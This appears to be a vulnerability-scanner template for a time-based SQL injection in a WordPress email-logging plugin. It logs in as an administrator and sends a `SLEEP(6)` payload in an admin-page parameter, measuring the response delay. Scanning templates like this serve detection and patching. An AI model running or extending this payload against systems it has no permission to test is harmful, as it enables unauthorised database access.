WordPress Check & Log Email < 2.0.15 - SQL Injection

id: CVE-2026-14554

info:
  name: WordPress Check & Log Email < 2.0.15 - SQL Injection
  author: anirbala98
  severity: medium
  description: |
    The Check & Log Email WordPress plugin before 2.0.15 does not properly sanitize and escape parameters before using them in SQL queries, allowing users with administrator privileges to perform SQL injection attacks.
  impact: |
    Administrators can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
  remediation: |
    Update to version 2.0.15 or later.
  reference:
    - https://wpscan.com/vulnerability/7b39bae3-41a2-4862-b7c3-1a386273d600/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-14554
    - https://wordpress.org/plugins/check-email/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-14554
    epss-score: 0.00402
    epss-percentile: 0.34374
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: checkemail
    product: check-email
    framework: wordpress
    fofa-query: body="/wp-content/plugins/check-email/"
  tags: cve,cve2026,wordpress,wp-plugin,sqli,time-based-sqli,check-email,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /wp-admin/admin.php?page=check-email-logs&d=x'%20AND%20SLEEP(6)--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - duration >= 6
        condition: and
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